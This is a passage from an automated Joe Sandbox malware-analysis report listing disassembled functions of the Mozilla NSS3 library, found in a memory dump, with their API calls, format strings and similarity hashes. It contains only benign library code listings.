Part of subcall function 6C5E1D50: PR_Unlock.NSS3(?), ref: 6C5E1DD3

TlsGetValue.KERNEL32 ref: 6C5EEE51
EnterCriticalSection.KERNEL32(?), ref: 6C5EEE65
PR_Unlock.NSS3(?), ref: 6C5EEEA2
free.MOZGLUE(?), ref: 6C5EEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C5EEED0
PR_Unlock.NSS3(?), ref: 6C5EEF48
free.MOZGLUE(?), ref: 6C5EEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C5EEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C5EEFA4
free.MOZGLUE(?), ref: 6C5EEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5EF055
free.MOZGLUE(?), ref: 6C5EF060

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: a650c8c1f3e6797b472e8519c1022cf69c57c3ad9360b113df4dfb819c127b1f
Instruction ID: 01949073c58d90e47079d2935071f8fa77d6b81e1a9b733fa343372b33d3a9a0
Opcode Fuzzy Hash: a650c8c1f3e6797b472e8519c1022cf69c57c3ad9360b113df4dfb819c127b1f
Instruction Fuzzy Hash: AE8160B1A00209ABDF00DFA5EC85BDE7BB5BF4D318F144024E919A7711EB71E924CBA5

Function 6C5B4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C5B4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C5B4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C5B4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C5B4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C5B4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C5B4E85
DER_Encode_Util.NSS3(?,?,6C7005A4,00000000), ref: 6C5B4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C5B4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C5B4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5B4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5B4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5B4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5B4FC8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: ef6ec3550dcd923003fb9259a0ea4fec7d4d2a446825c43850a6bff8a014bf8c
Instruction ID: e11f59f827e550f82c5cec37c874f2c95d8564f60355b99c4127a5eb95bb29a8
Opcode Fuzzy Hash: ef6ec3550dcd923003fb9259a0ea4fec7d4d2a446825c43850a6bff8a014bf8c
Instruction Fuzzy Hash: 87818171A08301AFE721CF24DC90B5BBBE4AB85358F14892DF958EB741E771E905CB92

Function 6C5F5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C5F5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C5F5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C5F5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C5F5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C5F5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5E18
TlsGetValue.KERNEL32 ref: 6C5F5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C5F5E72
PR_Unlock.NSS3(?), ref: 6C5F5E8B

Part of subcall function 6C5EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5EF854
Part of subcall function 6C5EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5EF868
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5EF882
Part of subcall function 6C5EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5EF889
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5EF8A4
Part of subcall function 6C5EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5EF8AB
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5EF8C9
Part of subcall function 6C5EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5EF8D0

Strings

d, xrefs: 6C5F5C36
tokens=[0x%x=<%s>], xrefs: 6C5F5D3D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 4d54a2b66dc96a0254dc32a2f5c12cd78fff7a6b7bf50729c4fc12e54ce05252
Instruction ID: d8026ebe83e53a54379469932ff11ea7ac0951e5e7beed43ade7ea5f5b7c0bcb
Opcode Fuzzy Hash: 4d54a2b66dc96a0254dc32a2f5c12cd78fff7a6b7bf50729c4fc12e54ce05252
Instruction Fuzzy Hash: 6E713AF0E051049BEB089F25DC4176F3275AF8130CF948435E92A9AB42EB32ED16CF92

Function 6C5E8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C5E9582), ref: 6C5E8F5B

Part of subcall function 6C5FBE30: SECOID_FindOID_Util.NSS3(6C5B311B,00000000,?,6C5B311B,?), ref: 6C5FBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C5E8F6A

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5E8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C5E8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C6CD820,6C5E9576), ref: 6C5E8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C5E901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C5E903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5E9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5E90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C5E90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C5E90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C5E912D
free.MOZGLUE(00000000), ref: 6C5E9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5E9145

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 754f00ff63165c97bb5a4a6b8a8130104a86fdaa75f3e401aa2c037ac9cd1b43
Instruction ID: 1f45d6be90da1c4f03730011095dbcfa0e6092770b837c0afc8ee991b6e7cc98
Opcode Fuzzy Hash: 754f00ff63165c97bb5a4a6b8a8130104a86fdaa75f3e401aa2c037ac9cd1b43
Instruction Fuzzy Hash: B651C1B2A042009BEB04CF28DC81B9AB7E9EF89318F054929E95597741E731E949CBD7

Function 6C5DADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C5DADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5DAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5DAE29

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5DAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5DAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5DAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C5DAEA0

Strings

nkl, xrefs: 6C5DAEB8, 6C5DAEE6
hSession = 0x%x, xrefs: 6C5DAE01, 6C5DAE11
(CK_INVALID_HANDLE), xrefs: 6C5DAE1F, 6C5DAE80
hKey = 0x%x, xrefs: 6C5DAE62, 6C5DAE72
C_MessageSignInit, xrefs: 6C5DADE1

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nkl
API String ID: 332880674-1267772660
Opcode ID: c32bcd86fcff60a5bb18ffbc1341158f384e18dc586250327a881b5e1f9c8b98
Instruction ID: 496c4900926e3415eda997cd5e3adbe270a95f71b5c8b112dbad2257e7ac0f10
Opcode Fuzzy Hash: c32bcd86fcff60a5bb18ffbc1341158f384e18dc586250327a881b5e1f9c8b98
Instruction Fuzzy Hash: EF31B5B2701255EBDB00DF18DC88BAB3775EB86319F454439E409AB612DF34A918CB9E

Function 6C5D9EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C5D9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D9F49

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5D9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C5D9FC0

Strings

nkl, xrefs: 6C5D9FD8, 6C5DA006
hSession = 0x%x, xrefs: 6C5D9F21, 6C5D9F31
(CK_INVALID_HANDLE), xrefs: 6C5D9F3F, 6C5D9FA0
hKey = 0x%x, xrefs: 6C5D9F82, 6C5D9F92
C_MessageEncryptInit, xrefs: 6C5D9F01

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nkl
API String ID: 332880674-1742630112
Opcode ID: 7a3eadf26f6650019790a52ccd8e3611a69ad701902025f08947c43a55e3a14c
Instruction ID: f525ac60c53411188f48dc4bc5e02622b5f0cefb98dcfd60fbf81b5c71d26a59
Opcode Fuzzy Hash: 7a3eadf26f6650019790a52ccd8e3611a69ad701902025f08947c43a55e3a14c
Instruction Fuzzy Hash: D531C6B2701345ABDB01DF18DC88BAE3775EB86359F054439E408ABA41DF34A858CB9F

Function 6C5D2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C5D2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D2E33

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5D2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5D2E81

Strings

nkl, xrefs: 6C5D2E99, 6C5D2EC4
C_InitPIN, xrefs: 6C5D2DF1
hSession = 0x%x, xrefs: 6C5D2E0E, 6C5D2E1E
(CK_INVALID_HANDLE), xrefs: 6C5D2E2C
ulPinLen = %d, xrefs: 6C5D2E7C
pPin = 0x%p, xrefs: 6C5D2E63

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nkl
API String ID: 1003633598-3380830098
Opcode ID: 5740d4ea72793b1bf2006ef217eb71f7390967ca0a5068ac02a1d430143eb44b
Instruction ID: 5010487eba9863e21accf4795693420b087458083c8498b9a8f445668ee9d450
Opcode Fuzzy Hash: 5740d4ea72793b1bf2006ef217eb71f7390967ca0a5068ac02a1d430143eb44b
Instruction Fuzzy Hash: 7431D5B2701255EBDB009F18DD4CB5A3B75EB86319F454039E808A7B11DF30AD48CBAE

Function 6C5D7E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C5D7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D7E63

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C5D7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C5D7EB1

Strings

nkl, xrefs: 6C5D7EC9, 6C5D7EF7
hSession = 0x%x, xrefs: 6C5D7E3E, 6C5D7E4E
C_VerifyUpdate, xrefs: 6C5D7E21
(CK_INVALID_HANDLE), xrefs: 6C5D7E5C
ulPartLen = %d, xrefs: 6C5D7EAC
pPart = 0x%p, xrefs: 6C5D7E93

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nkl
API String ID: 1003633598-2470974910
Opcode ID: 6f37e58dc50057744395a74ec0fecbd1639ea3463a67d000051f4bb78484a546
Instruction ID: 6697f0059d814829b68da6781241d14b7a147c282c7f5d21ffac1c8c80e73dc2
Opcode Fuzzy Hash: 6f37e58dc50057744395a74ec0fecbd1639ea3463a67d000051f4bb78484a546
Instruction Fuzzy Hash: 0331D7B5B01255EBD7009F68DD48B5B3BB1EB8235DF054038E808A7615DF30AD08CBAE

Function 6C5D6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C5D6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D6F53

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C5D6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C5D6FA1

Strings

nkl, xrefs: 6C5D6FB9, 6C5D6FE7
hSession = 0x%x, xrefs: 6C5D6F2E, 6C5D6F3E
(CK_INVALID_HANDLE), xrefs: 6C5D6F4C
C_DigestUpdate, xrefs: 6C5D6F11
ulPartLen = %d, xrefs: 6C5D6F9C
pPart = 0x%p, xrefs: 6C5D6F83

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nkl
API String ID: 1003633598-1820698345
Opcode ID: 17a3fa946b926cd0d51a1faeb3d4011d4ea9ba32d6bd2d48770605fc422cd9e9
Instruction ID: 019ad02e34a502b3c162c7582d488fabd5fab0b4088575cc0c1faa29053682d6
Opcode Fuzzy Hash: 17a3fa946b926cd0d51a1faeb3d4011d4ea9ba32d6bd2d48770605fc422cd9e9
Instruction Fuzzy Hash: 7431C4B57012559FDB00DB28DD48B4A3BB1EB82359F054439E808A7612DF30E959CBDB

Function 6C5D7F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C5D7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5D7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5D7F93

Part of subcall function 6C6BD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6BD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5D7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5D7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C5D7FE1

Strings

ulSignatureLen = %d, xrefs: 6C5D7FDC
nkl, xrefs: 6C5D7FF9, 6C5D8027
C_VerifyFinal, xrefs: 6C5D7F51
hSession = 0x%x, xrefs: 6C5D7F6E, 6C5D7F7E
(CK_INVALID_HANDLE), xrefs: 6C5D7F8C
pSignature = 0x%p, xrefs: 6C5D7FC3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nkl
API String ID: 1003633598-3881341574
Opcode ID: cf7e38fd11c97cfb051d73e0c48a0d8c847d737baa02583ad0a570b23a6aba39
Instruction ID: fcf61cfb4ce7d58b6509dd60d4debe79f16c5fc86d08e87c598e26e1bf0c3071
Opcode Fuzzy Hash: cf7e38fd11c97cfb051d73e0c48a0d8c847d737baa02583ad0a570b23a6aba39
Instruction Fuzzy Hash: 2F31D5B1701255EFDB10DF18DD48F4A3BB1EB82359F454439E808A7611DF30A948CBAB

Function 6C59AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C59AF47

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

FreeLibrary.KERNEL32(?), ref: 6C59AF6D
free.MOZGLUE(?), ref: 6C59AFA4
free.MOZGLUE(?), ref: 6C59AFAA
PR_ExitMonitor.NSS3 ref: 6C59AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C59AFF5
PR_ExitMonitor.NSS3 ref: 6C59B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C59B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C59B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C59B03C

Strings

%s decr => %d, xrefs: 6C59AFF0
Unloaded library %s, xrefs: 6C59B023

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: cb9aafd01308524e91741b0d5f7f7dfe3d1b9564fd0054872e0576c22a1e2aaa
Instruction ID: 2721759f88a717af97f222f8dc0c548582850b106a647a0112039daa44ba1591
Opcode Fuzzy Hash: cb9aafd01308524e91741b0d5f7f7dfe3d1b9564fd0054872e0576c22a1e2aaa
Instruction Fuzzy Hash: DE31F6F9F04140ABEB01EF65DC40A45B775EB4630CB1441B9E80796E00FB22E828CBB6

Function 6C5E6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C5E781D,00000000,6C5DBE2C,?,6C5E6B1D,?,?,?,?,00000000,00000000,6C5E781D), ref: 6C5E6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C5E781D,?,6C5DBE2C,?), ref: 6C5E6C58
